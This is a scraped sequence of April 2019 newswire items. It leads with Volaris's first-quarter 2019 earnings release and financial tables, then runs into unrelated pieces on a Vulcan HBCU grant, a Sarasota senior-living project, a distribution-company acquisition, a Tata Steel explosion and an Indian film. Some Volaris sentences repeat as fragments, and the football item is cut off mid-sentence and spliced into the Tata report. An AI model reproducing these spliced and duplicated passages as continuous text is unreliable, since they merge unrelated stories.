30.5% year over year. Total ancillary revenues per passenger for the first quarter of 2019 increased 12.1% year over year. The total ancillary revenue generation continues to grow with new and matured products, appealing to customers' needs, representing 35.6% of total operating revenues for the first quarter, up 2 percentage points year over year. New routes: Volaris began operations in 16 new domestic routes from or to its focus cities Mexico City , Guadalajara , Tijuana and others. Additionally, Volaris launched 17 routes, 10 domestic ( Mexico to Ciudad Juarez , Puerto Escondido and Durango; Queretaro to Chihuahua and Puerto Vallarta ; Guadalajara to Durango and Queretaro ; Monterrey to Oaxaca and Los Cabos ; Ciudad Juarez to Chihuahua) and 7 international ( Mexico and Guadalajara to El Salvador ; Durango to Dallas ; Puerto Vallarta to Phoenix ; Queretaro to Chicago; Aguascalientes to Chicago (Midway); and Chihuahua to Albuquerque. The Cost Control Discipline Offset Fuel Price Pressure and Peso Depreciation CASM and CASM ex fuel for the first quarter 2019 reached Ps.125.7 ( US$6.5 cents ) and Ps.78. 6 cents ( US$4.1 cents ), respectively. This represented a decrease of 0.7% and 5.8%, respectively; mainly driven by tightening cost control discipline, despite the higher average economic fuel cost per gallon of 14.8% and an average exchange rate depreciation of 2.4%. Young and Fuel-efficient Fleet During first quarter 2019, the Company incorporated one aircraft (A321 neo) to its fleet; during this quarter no redeliveries were registered. As of March 31, 2019 , Volaris' fleet was composed of 78 aircraft (8 A319s, 55 A320s and 15 A321s), with an average age of 4.8 years. At the end of the first quarter 2019, Volaris' fleet had an average of 186 seats, 74% of which were in sharklet-equipped aircraft, and 22% were NEO. Solid Balance Sheet and Good Liquidity Net cash flow provided by operating activities was Ps.3,731 million, in conjunction with cash flow used in investing activities of Ps.379 million and in financing activities of Ps. 2,063 million; negative net foreign exchange difference was Ps.82 million, while the net cash generation in the first quarter was Ps.1,208 million. As of March 31, 2019 , cash and cash equivalents were Ps.7,071 million, representing 24.7% of last twelve months operating revenues. Volaris registered negative net debt (or a positive net cash position) of Ps.4,018 million (excluding lease liability recognized under IFRS16 adoption) and total equity of Ps.3,624 million. Transition to IFRS 16 The Company adopted IFRS 16 as of January 1st, 2019 , using the full retrospective method. The cumulative effect of adopting IFRS 16 has been recognized as an adjustment to the opening balance as of January 1st, 2017 as an increase in assets and liabilities and an adjustment in the retained earnings. The full disclosure of this initial adoption is included in the Companys 2018 annual report. , using the full retrospective method. The cumulative effect of adopting IFRS 16 has been recognized as an adjustment to the opening balance as of as an increase in assets and liabilities and an adjustment in the retained earnings. The full disclosure of this initial adoption is included in the Companys 2018 annual report. This quarterly earnings release includes supplemental information for comparable purposes, with recast 2018 figures with the IFRS 16 adoption effects and were derived from unaudited financial statements included in the quarterly reports on Form 6-K during the year ended as of December 31 , 2018. , 2018. Since all the aircraft and engine lease contracts are denominated in USDs, starting on March 25, 2019 , the Company established a hedge on its USD denominated revenues using the lease liabilities denominated in USD as a hedge instrument. This hedging relationship is designated as a cash flow hedge of forecasted revenues to mitigate the volatility of the foreign exchange variation arising from the revaluation of its lease liabilities. The impact of this hedge will be presented as part of the total operating revenues; however, it was not material for the results of this first quarter. , the Company established a hedge on its USD denominated revenues using the lease liabilities denominated in USD as a hedge instrument. This hedging relationship is designated as a cash flow hedge of forecasted revenues to mitigate the volatility of the foreign exchange variation arising from the revaluation of its lease liabilities. The impact of this hedge will be presented as part of the total operating revenues; however, it was not material for the results of this first quarter. Additionally, on the same date, the Company established a hedge on a portion of its forecasted fuel expense using as hedge instrument a portion of its USD denominated monetary assets. This hedging relationship is designated as a cash flow hedge of forecasted fuel expense to mitigate the volatility of the foreign exchange variation arising from the revaluation of this portion of USD denominated monetary asset. The impact of this hedge will be presented as part of the total fuel expense; however, it was not material for the results of this first quarter. Investors are urged to carefully read the Company's periodic reports filed with or furnished to the Securities and Exchange Commission, for additional information regarding the Company. Conference Call/Webcast Details: Presenters for the Company: Mr. Enrique Beltranena, CEO Mr. Holger Blankenstein, Airline EVP Ms. Sonia Jerez Burdeus, VP & CFO Date: Friday, April 26, 2019 Time: 10:00 am U.S. EDT (9:00 am Mexico City Time) United States dial in (toll free): 1-877-830-2576 Mexico dial in (toll free): 001-800-514-6145 Brazil dial in (toll free): 0-800-891-6744 International dial in: + 1-785-424-1726 Participant passcode: VOLARIS (8652747) Webcast will be available at: https://webcasts.eqs.com/volaris20190426 About Volaris: *Controladora Vuela Compania de Aviacion, S.A.B. de C.V. ("Volaris" or the "Company") (NYSE: VLRS and BMV: VOLAR), is an ultra-low-cost carrier, with point-to-point operations, serving Mexico, the United States and Central America. Volaris offers low base fares to build its market, providing quality service and extensive customer choice. Since beginning operations in March 2006, Volaris has increased its routes from five to more than 182 and its fleet from four to 78 aircraft. Volaris offers more than 392 daily flight segments on routes that connect 40 cities in Mexico and 25 cities in the United States and Central America with the youngest fleet in Mexico. Volaris targets passengers who are visiting friends and relatives, cost-conscious business people and leisure travelers in Mexico and to select destinations in the United States and Central America. Volaris has received the ESR Award for Social Corporate Responsibility for eight consecutive years. For more information, please visit: www.volaris.com Forward-looking Statements: Statements in this release contain various forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended, which represent the Company's expectations, beliefs or projections concerning future events and financial trends affecting the financial condition of our business. When used in this release, the words "expects," "intends," "estimates," "predicts," "plans," "anticipates," "indicates," "believes," "forecast," "guidance," "potential," "outlook," "may," "continue," "will," "should," "seeks," "targets" and similar expressions are intended to identify forward-looking statements. Similarly, statements that describe the Company's objectives, plans or goals, or actions the Company may take in the future, are forward-looking statements. Forward-looking statements include, without limitation, statements regarding the Company's intentions and expectations regarding the delivery schedule of aircraft on order, announced new service routes and customer savings programs. Forward-looking statements should not be read as a guarantee or assurance of future performance or results and will not necessarily be accurate indications of the times at, or by, which such performance or results will be achieved. Forward-looking statements are based on information available at the time those statements are made and/or management's good faith belief as of that time with respect to future events and are subject to risks and uncertainties that could cause actual performance or results to differ materially from those expressed in or suggested by the forward-looking statements. Forward-looking statements are subject to a number of factors that could cause the Company's actual results to differ materially from the Company's expectations, including the competitive environment in the airline industry; the Company's ability to keep costs low; changes in fuel costs; the impact of worldwide economic conditions on customer travel behavior; the Company's ability to generate non-ticket revenues; and government regulation. Additional information concerning these, and other factors is contained in the Company's Securities and Exchange Commission filings. All forward-looking statements attributable to us or persons acting on our behalf are expressly qualified in their entirety by the cautionary statements set forth above. Forward-looking statements speak only as of the date of this release. You should not put undue reliance on any forward-looking statements. We assume no obligation to update forward-looking statements to reflect actual results, changes in assumptions or changes in other factors affecting forward-looking information, except to the extent required by applicable law. If we update one or more forward-looking statements, no inference should be drawn that we will make additional updates with respect to those or other forward-looking statements. Controladora Vuela Compania de Aviacion, S.A.B. de C.V. and Subsidiaries Financial and Operating Indicators Unaudited Three months ended March 31, 2019 Three months ended March 31, 2019 Three months ended March 31, 2018 (Adjusted) Variance (In Mexican pesos, except otherwise indicated) (US Dollars)* (%) Total operating revenues (millions) 371 7,192 5,850 22.9% Total operating expenses (millions) 370 7,166 6,395 12.1% EBIT (millions) 1 26 (545) NA EBIT margin 0.4% 0.4% (9.3%) 9.7 pp Depreciation and amortization 67 1,292 1,071 20.6% Aircraft and engine rent expense 12 227 317 (28.4%) Net income (millions) 27 519 461 12.5% Net income margin 7.2% 7.2% 7.9% (0.7) pp Income per share: Basic (pesos) 0.03 0.51 0.46 12.5% Diluted (pesos) 0.03 0.51 0.46 12.5% Income per ADS: Basic (pesos) 0.26 5.13 4.56 12.5% Diluted (pesos) 0.26 5.13 4.56 12.5% Weighted average shares outstanding: Basic - 1,011,876,677 1,011,876,677 0.0% Diluted - 1,011,876,677 1,011,876,677 0.0% Available seat miles (ASMs) (millions) (1) - 5,704 5,055 12.8% Domestic - 3,971 3,446 15.2% International - 1,733 1,609 7.7% Revenue passenger miles (RPMs) (millions) (1) - 4,744 4,155 14.2% Domestic - 3,386 2,902 16.7% International - 1,358 1,253 8.4% Load factor (2) - 83.2% 82.2% 1.0 pp Domestic - 85.3% 84.2% 1.1 pp International - 78.6% 77.9% 0.7 pp Total operating revenue per ASM (TRASM) (cents) (1) (5) 6.5 126.1 115.7 9.0% Total ancillary revenue per passenger (4) 26.7 517 461 12.1% Total operating revenue per passenger (5) 74.8 1,449 1,372 5.6% Operating expenses per ASM (CASM) (cents) (1) (5) 6.5 125.7 126.5 (0.7%) Operating expenses per ASM (CASM) (US cents) (3) (5) - 6.5 6.7 (3.8%) CASM ex fuel (cents) (1) (5) 4.1 78.6 83.5 (5.8%) CASM ex fuel (US cents) (3) (5) - 4.1 4.4 (8.8%) Booked passengers (thousands) (1) - 4,962 4,263 16.4% Departures (1) - 32,198 28,188 14.2% Block hours (1) - 82,848 77,244 7.3% Fuel gallons consumed (millions) - 58.3 54.3 7.5% Average economic fuel cost per gallon 2.4 46.0 40.1 14.8% Aircraft at end of period - 78 70 11.4% Average aircraft utilization (block hours) - 12.7 13.2 (3.7%) Average exchange rate - 19.22 18.76 2.4% End of period exchange rate - 19.38 18.34 5.6% *Peso amounts were converted to U.S. dollars at end of period exchange rate for convenience purposes only (1) Includes schedule + charter (3) Dollar amounts were converted at average exchange rate of each period (2) Includes schedule (4) Includes "other passenger revenues" and "non-passenger revenues" (5) Not include natural hedge Controladora Vuela Compania de Aviacion, S.A.B. de C.V. and Subsidiaries Consolidated Statement of Operations Unaudited Three months ended March 31, 2019 Three months Ended March 31, 2019 Three months ended March 31, 2018 (Adjusted) Variance (In millions of Mexican pesos) (US Dollars) * (%) Operating revenues: Passenger revenues 360 6,976 5,610 24.4% Fare revenues 239 4,629 3,886 19.1% Other passenger revenues (1) 121 2,347 1,724 36.1% Non-passenger revenues 11 216 240 (10.0%) Other non-passenger revenues (1) 8 154 192 (19.7%) Cargo 3 62 49 28.0% Total operating revenues 371 7,192 5,850 22.9% Other operating income - - (1) (100%) Total Fuel expense, net 138 2,683 2,175 23.4% Depreciation and amortization 67 1,292 1,071 20.6% Landing, take-off and navigation expenses 64 1,232 1,124 9.6% Salaries and benefits 44 852 746 14.1% Maintenance expenses 18 353 346 2.0% Sales, marketing and distribution expenses 14 271 357 (24.1%) Aircraft and engine rent expense 12 227 317 (28.4%) Other operating expenses 13 256 258 (0.7%) Operating expenses 370 7,166 6,395 12.1% Operating income (loss) 1 26 (545) NA Finance income 2 38 34 12.2% Finance cost (26) (503) (395) 27.2% Exchange gain, net 60 1,154 1,564 (26.2%) Comprehensive financing result 36 689 1,202 (42.7%) Income before income tax 37 715 658 8.7% Income tax expense (10) (196) (196) (0.2%) Net income 27 519 461 12.5% * Peso amounts were converted to U.S. dollars at end of period exchange rate for convenience purposes only. (1) The figures of 1Q 2018 includes a reclassification from "other non-passenger revenues" to "Other passenger revenues" of Ps.77 million, as result of the IFRS 15 adoption. Controladora Vuela Compania de Aviacion, S.A.B. de C.V. and Subsidiaries Reconciliation of total ancillary revenue per passenger The following table shows quarterly additional detail about the components of total ancillary revenue: Unaudited Three months ended March 31, 2019 (US Dollars)* Three months ended March 31, 2019 Three months ended March 31, 2018 (Adjusted) Variance (%) (In millions of Mexican pesos) Other passenger revenues (1) 121 2,347 1,724 36.1% Non-passenger revenues (1) 11 216 240 (10.0%) Total ancillary revenues 132 2,563 1,964 30.5% Booked passengers (thousands) - 4,962 4,263 16.4% Total ancillary revenue per passenger 26.7 517 461 12.1% * Peso amounts were converted to U.S. dollars at end of period exchange rate for convenience purposes only. (1) The figures of 1Q 2018 includes a reclassification from "other non-passenger revenues" to "Other passenger revenues" of Ps.77 million, as result of the IFRS 15 adoption. Controladora Vuela Compania de Aviacion, S.A.B. de C.V. and Subsidiaries Consolidated Statement of Financial Position (In millions of Mexican pesos) March 31, 2019 Unaudited March 31, 2019 Unaudited December 31, 2018 (Adjusted) (US Dollars)* Assets Cash and cash equivalents 365 7,071 5,863 Accounts receivable 91 1,754 1,467 Inventories 15 296 297 Prepaid expenses and other current assets 30 588 443 Financial instruments 3 67 62 Guarantee deposits 32 615 791 Total current assets 536 10,390 8,923 Rotable spare parts, furniture and equipment, net 312 6,052 5,782 Right of use assets 1,668 32,334 31,986 Intangible assets, net 9 170 179 Deferred income taxes 145 2,817 2,864 Guarantee deposits 343 6,639 6,337 Other assets 9 174 155 Other accounts receivable 4 74 74 Total non-current assets 2,490 48,260 47,378 Total assets 3,026 58,650 56,301 Liabilities Unearned transportation revenue 214 4,142 2,439 Accounts payable 47 911 1,103 Accrued liabilities 135 2,619 2,318 Lease liabilities 230 4,448 4,970 Other taxes and fees payable 159 3,074 1,932 Income taxes payable - 2 4 Financial instruments - 3 123 Financial debt 86 1,661 1,212 Other liabilities 2 46 26 Total short-term liabilities 872 16,905 14,127 Financial debt 72 1,392 2,311 Accrued liabilities 7 134 137 Lease liabilities 1,803 34,936 34,586 Other liabilities 18 357 328 Employee benefits 1 19 18 Deferred income taxes 66 1,282 1,096 Total long-term liabilities 1,967 38,121 38,476 Total liabilities 2,839 55,026 52,603 Equity Capital stock 153 2,974 2,974 Treasury shares (6) (122) (123) Contributions for future capital increases - - - Legal reserve 15 291 291 Additional paid-in capital 94 1,830 1,837 Retained earnings (36) (689) (1,208) Accumulated other comprehensive losses (34) (659) (73) Total equity 187 3,624 3,698 Total liabilities and equity 3,026 58,650 56,301 Total shares outstanding fully diluted 1,011,876,677 1,011,876,677 * Peso amounts were converted to U.S. dollars at end of period exchange rate for convenience purposes only Controladora Vuela Compania de Aviacion, S.A.B. de C.V. and Subsidiaries Consolidated Statement of Cash Flows Cash Flow Data Summary Unaudited Three months ended March 31, 2019 Three months ended March 31, 2019 Three months ended March 31, 2018 (Adjusted) (In millions of Mexican pesos) (US Dollars)* Net cash flow provided by operating activities 193 3,731 2,404 Net cash flow used in investing activities (20) (379) (313) Net cash flow used in financing activities (106) (2,063) (1,246) Increase in cash and cash equivalents 67 1,290 844 Net foreign exchange differences (4) (82) (478) Cash and cash equivalents at beginning of period 303 5,863 6,951 Cash and cash equivalents at end of period 365 7,071 7,317 * Peso amounts were converted to U.S. dollars at end of period exchange rate for convenience purposes only Controladora Vuela Compania de Aviacion, S.A.B. de C.V. and Subsidiaries The following table shows adjusted balances after the adoption of IFRS 16 "Leases", on the quarterly statements of operations for each quarter of 2018. These recast amounts were derived from unaudited financial statements included in the quarterly reports on Form 6-K during the year ended December 31, 2018. Unaudited (In millions of Mexican pesos) Three months ended March 31, 2018 (Adjusted) Three months ended June 30, 2018 (Adjusted) Three months ended September 30, 2018 (Adjusted) Three months ended December 31, 2018 (Adjusted) Full Year 2018 (Adjusted) Operating revenues: Passenger revenues 5,610 5,990 7,138 7,643 26,381 Fare revenues 3,886 4,137 5,096 5,370 18,488 Other passenger revenues (1) 1,724 1,853 2,042 2,273 7,892 Non-passenger revenues 240 240 179 265 924 Other non-passenger revenues (1) 192 187 124 194 697 Cargo 49 53 55 71 227 Total operating revenues 5,850 6,230 7,317 7,908 27,305 Other operating income (1) (231) (243) (147) (622) Fuel 2,175 2,445 2,631 2,885 10,135 Landing, take-off and navigation expenses 1,124 1,149 1,149 1,157 4,579 Depreciation and amortization 1,071 1,136 1,162 1,256 4,625 Salaries and benefits 746 750 834 795 3,125 Sales, marketing and distribution expenses 357 382 340 422 1,501 Maintenance expenses 346 376 388 387 1,499 Aircraft and engine rent expense 317 105 215 55 692 Other operating expenses 258 283 239 277 1,058 Operating expenses 6,395 6,395 6,715 7,087 26,592 Operating (loss) income (545) (165) 602 821 713 Operating margin (9.3%) (2.6%) 8.2% 10.4% 2.6% Finance income 34 37 37 45 153 Finance cost (395) (439) (487) (478) (1,798) Exchange gain (loss), net 1,564 (1,926) 1,395 (1,137) (106) Comprehensive financing result 1,202 (2,328) 945 (1,570) (1,751) Income (loss) before income tax 658 (2,493) 1,547 (749) 1,038 Income tax (expense) benefit (196) 728 (442) 187 277 Net income (loss) 461 (1,765) 1,105 (562) (761) Earnings (loss) per share: Basic (pesos) 0.46 (1.74) 1.09 (0.56) (0.75) Diluted (pesos) 0.46 (1.74) 1.09 (0.56) (0.75) Earnings (loss) per ADS: Basic (pesos) 4.56 (17.44) 10.92 (5.55) (7.52) Diluted (pesos) 4.56 (17.44) 10.92 (5.55) (7.52) (1) The annual figures of 2018 include a reclassification from "other non-passenger revenues" to "Other passenger revenues" of Ps.271 million, as result of the IFRS 15 adoption. Controladora Vuela Compania de Aviacion, S.A.B. de C.V. and Subsidiaries The following table shows quarterly adjustments made due to the adoption of IFRS 16 "Leases", on the statements of operations for 2018. Unaudited Full Year 2018 (Reported) Three months ended March 31, 2018 Three months ended June 30, 2018 Three months ended September 30, 2018 Three months ended December 31, 2018 Full Year 2018 (Adjusted) (In millions of Mexican pesos) Operating revenues: Passenger revenues 26,381 - - - - 26,381 Fare revenues 18,488 - - - - 18,488 Other passenger revenues (1) 7,892 - - - - 7,892 Non-passenger revenues 924 - - - - 924 Other non-passenger revenues (1) 227 - - - - 227 Cargo 697 - - - - 697 Total operating revenues 27,305 - - - - 27,305 Other operating income (622) - - - - (622) Fuel 10,135 - - - - 10,135 Aircraft and engine rent expense 6,315 (1,278) (1,400) (1,378) (1,567) 692 Landing, take-off and navigation expenses 4,583 (1) (1) (1) (1) 4,579 Salaries and benefits 3,125 - - - - 3,125 Maintenance expenses 1,518 (4) (5) (5) (5) 1,499 Sales, marketing and distribution expenses 1,501 - - - - 1,501 Other operating expenses 1,130 (17) (18) (18) (19) 1,058 Depreciation and amortization 501 939 1,012 1,047 1,126 4,625 Operating expenses 28,186 (361) (412) (355) (466) 26,592 Operating (loss) income (881) 361 412 355 466 713 Operating margin (3.2%) 2.6% Finance income 153 - - - - 153 Finance cost (120) (361) (408) (423) (486) (1,798) Exchange (loss) gain, net (72) 2,255 (2,581) 1,814 (1,521) (106) Comprehensive financing result (40) 1,894 (2,989) 1,391 (2,007) (1,751) (Loss) income before income tax (921) 2,255 (2,577) 1,746 (1,541) (1,038) Income tax benefit (expense) 238 (676) 775 (523) 463 277 Net (loss) income (683) 1,579 (1,802) 1,223 (1,078) (761) Basic (loss) earnings per share (0.67) 1.56 (1.78) 1.21 (1.07) (0.75) Diluted (loss) earnings per share (0.67) 1.56 (1.78) 1.21 (1.07) (0.75) (1) The annual figures of 2018 include a reclassification from "other non-passenger revenues" to "Other passenger revenues" of Ps.271 million, as result of the IFRS 15 adoption. Controladora Vuela Compania de Aviacion, S.A.B. de C.V. and Subsidiaries The following table shows balances before the adoption of IFRS 16 "Leases", on the quarterly statements of operations for each quarter of 2018. Unaudited (In millions of Mexican pesos) Three months ended March 31, 2018 (Reported) Three months ended June 30, 2018 (Reported) Three months ended September 30, 2018 (Reported) Three months ended December 31, 2018 (Reported) Full Year 2018 (Reported) Operating revenues: Passenger revenues 5,610 5,990 7,138 7,643 26,381 Fare revenues 3,886 4,137 5,096 5,370 18,489 Other passenger revenues (1) 1,724 1,853 2,042 2,273 7,892 Non-passenger revenues 240 240 179 265 924 Other non-passenger revenues (1) 192 187 124 194 697 Cargo 49 53 55 71 227 Total operating revenues 5,850 6,230 7,316 7,909 27,305 Other operating income (1) (231) (243) (147) (622) Fuel 2,175 2,445 2,631 2,885 10,135 Aircraft and engine rent expense 1,596 1,504 1,593 1,622 6,315 Landing, take-off and navigation expenses 1,125 1,150 1,150 1,158 4,583 Salaries and benefits 746 750 834 795 3,125 Sales, marketing and distribution expenses 357 382 340 422 1,501 Maintenance expenses 351 381 393 392 1,518 Other operating expenses 274 301 257 297 1,130 Depreciation and amortization 132 124 115 130 501 Operating expenses 6,757 6,805 7,070 7,554 28,186 Operating (loss) income (906) (575) 246 355 (881) Operating margin (15.5%) (9.2%) 3.4% 4.5% (3.2%) Finance income 34 37 37 45 153 Finance cost (34) (31) (64) 8 (120) Exchange (loss) gain, net (691) 653 (419) 384 (73) Comprehensive financing result (691) 660 (446) 437 (40) (Loss) income before income tax (1,597) 85 (200) 792 (921) Income tax benefit (expense) 479 (47) 81 (276) 238 Net (loss) income (1,118) 38 (119) 516 (683) (Loss) earnings per share: Basic (pesos) (1.10) 0.04 (0.12) 0.51 (0.67) Diluted (pesos) (1.10) 0.04 (0.12) 0.51 (0.67) (Loss) earnings per ADS: Basic (pesos) (11.05) 0.38 (1.18) 5.10 (6.75) Diluted (pesos) (11.05) 0.38 (1.18) 5.10 (6.75) (1) The annual figures of 2018 include a reclassification from "other non-passenger revenues" to "Other passenger revenues" of Ps.271 million, as result of the IFRS 15 adoption. Controladora Vuela Compania de Aviacion, S.A.B. de C.V. and Subsidiaries Consolidated Statement of Financial Position The following table shows annual adjustments made due to the adoption of IFRS 16 "Leases", on the Consolidated Statement of Financial Position as of December 31, 2018. (In millions of Mexican pesos) December 31, 2018 (Reported) IFRS 16 Adjustments December 31, 2018 (Adjusted) Assets Cash and cash equivalents 5,863 - 5,863 Accounts receivable 1,467 - 1,467 Inventories 297 - 297 Prepaid expenses and other current assets 710 (267) 443 Financial instruments 62 - 62 Guarantee deposits 791 - 791 Total current assets 9,190 (267) 8,923 Rotable spare parts, furniture and equipment, net 5,782 - 5,782 Right of use assets - 31,986 31,986 Intangible assets, net 179 - 179 Deferred income taxes 593 2,271 2,864 Guarantee deposits 6,337 - 6,337 Other assets 155 - 155 Other accounts receivable 74 - 74 Total non-current assets 13,121 34,257 47,378 Total assets 22,311 33,990 56,301 Liabilities Unearned transportation revenue 2,439 - 2,439 Accounts payable 1,103 - 1,103 Accrued liabilities 2,318 - 2,318 Lease liabilities - 4,970 4,970 Other taxes and fees payable 1,932 - 1,932 Income taxes payable 4 - 4 Financial instruments 123 - 123 Financial debt 1,212 - 1,212 Other liabilities 118 (92) 26 Total short-term liabilities 9,249 4,878 14,127 Financial debt 2,311 - 2,311 Accrued liabilities 137 - 137 Lease liabilities - 34,586 34,586 Other liabilities 328 - 328 Employee benefits 18 - 18 Deferred income taxes 1,096 - 1,096 Total long-term liabilities 3,890 34,586 38,476 Total liabilities 13,139 39,464 52,603 Equity Capital stock 2,974 - 2,974 Treasury shares (123) - (123) Contributions for future capital increases - - - Legal reserve 291 - 291 Additional paid-in capital 1,837 - 1,837 Retained earnings 4,266 (5,474) (1,208) Accumulated other comprehensive losses (73) - (73) Total equity 9,172 (5,474) 3,698 Total liabilities and equity 22,311 33,990 56,301 Total shares outstanding fully diluted 1,011,876,677 1,011,876,677 Controladora Vuela Compania de Aviacion, S.A.B. de C.V. and Subsidiaries Consolidated Statement of Cash Flows Cash Flow Data Summary The following table shows first quarter adjustments made due to the adoption of IFRS 16 "Leases", on the Consolidated Statement of Cash Flow for the three months ended March 31, 2018. Unaudited Adjustments Three months ended March 31, 2018 (Adjusted) (In millions of Mexican pesos) Three months ended March 31, 2018 (Reported) Net cash flow provided by operating activities 1,093 1,311 2,404 Net cash flow used in investing activities (313) - (313) Net cash flow provided by (used in) financing activities 65 (1,311) (1,246) Increase in cash and cash equivalents 844 - 844 Net foreign exchange differences (478) - (478) Cash and cash equivalents at beginning of period 6,951 - 6,951 Cash and cash equivalents at end of period 7,317 - 7,317 1 Source: Asociacion Nacional de Tiendas de Autoservicio y Departamentales, A. C. (ANTAD) 2 Source: Banco de Mexico (BANXICO) 3 Source: Instituto Nacional de Estadistica y Geografia (INEGI) SOURCE Volaris Related Links http://www.volaris.com BIRMINGHAM, Ala., April 26, 2019 /PRNewswire/ -- The Vulcan Materials Company Foundation today announced a new grant initiative to support select Historically Black Colleges and Universities (HBCUs) in key areas of the Southeastern United States that are part of the Company's nationwide footprint. The $500,000 Foundation grant will provide participating HBCUs with: Scholarships and internships for students who win "pitch competitions," to be judged by university leadership and members of Vulcan Materials' Diversity & Inclusion Council; Opportunities for eligible students, nominated by their colleges, to design and recommend ways to make improvements in the arenas of innovation and infrastructure that businesses, higher education and government can support; Internships with Vulcan that may lead to full-time employment upon graduation; Enhanced facility spaces that turn traditional college work spaces into tech-friendly study halls. Vulcan announced its new HBCU initiative at the close of the April 24th Houston meeting of the U.S. Conference of Mayors. Conference President Stephen Benjamin, Mayor of Columbia, South Carolina, has focused on innovation, inclusion and infrastructure as hallmark issues for the Conference. Vulcan executives began discussions with Mayor Benjamin and other U.S. mayors and educators on these issues over the last year, which led to the development of this initiative. "We are delighted and honored to begin this partnership with these key institutions of higher learning," said Vulcan Materials Company Chairman and CEO Tom Hill. "Historically Black Colleges and Universities have been leadership laboratories in America for more than 150 years and their value as part of the fabric of American life has never been more important. Our Company is committed to creating new opportunities for rising young leaders, further building on our long-term diversity and inclusion and workforce development initiatives. This is vitally important to us, as is our commitment to superior safety and environmental performance and to supplying essential infrastructure materials used throughout the U.S. economy." Vulcan Materials Company (NYSE: VMC) is a member of the S&P 500 Index with headquarters in Birmingham, Alabama. Vulcan is the nation's largest producer of construction aggregates primarily crushed stone, sand and gravel and a major producer of aggregates-based construction materials, including asphalt mix and ready-mixed concrete. For additional information about Vulcan, go to www.vulcanmaterials.com. SOURCE Vulcan Materials Company Related Links http://www.vulcanmaterials.com Ideally located at 4141 Desoto Rd, Watercrest Sarasota will be a signature Watercrest product, offering 72 independent living, 96 assisted living and 30 memory care apartments with resort-style service and world-class care. The architecture and design will boast a stunning promenade, fireplace, signature water wall, multiple dining options, pool, salon and spa, grand balconies, and Florida-style outdoor living spaces. Watercrest's uniquely designed Market Street Plaza will showcase an 'outdoor' streetscape with numerous LifeBUILT programming touches; a highlight and crucial element of their multi-sensory memory care programming. "Collaborating with forward-thinking partners such as United Properties further enhances our continued expansion in developing senior living communities of superior quality," says Marc Vorkapich, Principal and CEO of Watercrest Senior Living Group. "Watercrest Sarasota will offer seniors an exceptional and enriching lifestyle." With multiple developments across the southeast, Watercrest principals, Marc Vorkapich, CEO, and Joan Williams, CFO, are poised to open more than a dozen senior living communities in the next few years. This is the second senior living development project partnered between Watercrest and United Properties. Their first project, Watercrest Naples Assisted Living and Memory Care is currently under construction and on schedule to welcome residents in late 2019. Founded in 1916 and based in Minneapolis, United Properties has developed nearly 200 projects totaling more than 20 million square feet and nearly $1 billion over the last 30 years, including 17 senior housing communities in the Minneapolis/St. Paul, Denver and Naples markets, with five more under development. "This is our largest senior living investment to date," stated Mark Nelson, United Properties' Executive Vice President. "We are pleased to have such great partners working with us on this exciting project. You can't gather a better team than Watercrest, Walker, Bank of Montreal, and Dougherty." United Properties provides market expertise for ground-up development, redevelopment and acquisitions of value-add and stable investments. The company invests in and develops office, industrial, retail, mixed-use and senior housing properties. For information, visit www.uproperties.com. Watercrest Senior Living Group was founded to honor our mothers and fathers, aspiring to become a beacon for quality in senior living by surpassing standards of care, service and associate training. A certified Great Place to Work, Watercrest specializes in the development and operations of assisted living and memory care communities and the growth of servant leaders. Visit www.watercrestseniorliving.com. SOURCE Watercrest Senior Living Group Related Links http://www.watercrestseniorliving.com Hagerty is a value-added distributor of Class C Maintenance, Repair, Operating and Production (MROP) supplies to OEMs and construction/trade contractors. The Company boasts a broad product inventory of over 20,000 SKUs. Major product categories include fasteners/hardware, tools, abrasives, safety supplies, and other industrial supplies. Services include in-plant storeroom management, bin/crib management services, and complete vendor managed inventory solutions. Hagerty also owns and manages over 50 tech-enabled vending machines within multiple customers' plants that vend tools, safety supplies, and other products. Hagerty operates out of five Midwest locations including headquarters in Peoria, Illinois. Hagerty Supply is a division of Hagerty Brothers Company. Founded in 1860, Hagerty Brothers Company remains locally owned by fifth and sixth generation descendants of the original founder. Headquartered in Fairbury, Illinois, WDS is an integrated distributor of industrial supplies and MRO products for OEMs, including fasteners, adhesives, packaging, foam, poly, glass, safety, janitorial, and more. Founded in 1984, WDS provides total supply chain management and cost reduction solutions for their customers with 15 locations nationwide. Slate Capital Group is a Baltimore, Maryland based private equity investment group that partners with lower-middle market companies. Slate Capital Group provides liquidity to business owners and growth capital to businesses for further expansion. "We are delighted to join forces with the Hagerty team," said Erik Ginsberg, Managing Partner of Slate Capital Group. "Hagerty has been putting their customers first since 1860, and our colleagues at WDS share their commitment to service and to excellence. We look forward to a long and successful partnership." XLCS acted as the exclusive M&A advisor to Hagerty and the transaction was led by Anthony Contaldo, Partner. The transaction was completed March 29, 2019. About XLCS Partners XLCS Partners is an investment banking firm providing advisory services to select clients globally. For 37 years we have been serving clients with our transaction knowledge, creative solutions, selfless insight, and truthful advice. More information is available at www.xlcspartners.com Media Contact: Kendra Span [email protected] 847.836.7035 SOURCE XLCS Partners, Inc. Related Links http://www.xlcspartners.com Patriots in the hunt for third gold ball Coming off a 2020 season in which they went 1-5, the 2021 Mission Veterans Patriots football team may have caught some people by surprise by winning seven of their eight District 16-5A Div. II games and claiming a share of the district title. But while there is London, April 26 : Two people were injured in an explosion at Tata's main Welsh steelworks plant on Friday, the company has confirmed. Residents living near the Port Talbot plant spoke of hearing a "massive" blast shortly after 3.30 a.m., the BBC reported. Tata Steel in Europe said the explosion came from a train used to carry molten metal, but the fires at the plant were now out and all employees had been accounted for. "We can confirm two of our employees were slightly injured when there was a spillage of liquid iron while it was travelling to the steel plant," it said in a series of tweets. "All fires have now been extinguished. A full investigation has begun." Images posted on social media show flames at the site and plumes of smoke. Helicopters were circling overhead and South Wales Police said it received "numerous calls" shortly after 3.30 a.m. "reporting an explosion". "At this time we believe there are just two with minor injuries. We are asking people to avoid the area at this time," the force added. Tata had recently invested 50 million pounds in the plant to refit a blast furnace. It has pledged to invest 1 billion pounds over 10 years if market conditions allow. Tata Steel is Europe's second largest steel producer, with steelmaking in the UK and Netherlands, and manufacturing plants across the continent. Mumbai, April 26 : Filmmaker Madhur Bhandarkar, who is making "Inspector Ghalib" -- a movie based on sand mafias -- says he always wanted to make an action film. Bhandarkar was interacting with the media at fashion designer Shruti Sancheti's new collection preview here on Thursday. He said: "I have just announced a film called 'Inspector Ghalib'. It is based on sand mafias and it is set in Uttar Pradesh. It's an action film. I always wanted to do an action film, but I never made it. "I think it is necessary for a filmmaker to make at least one action film because in that space, you can show a different environment and world to the 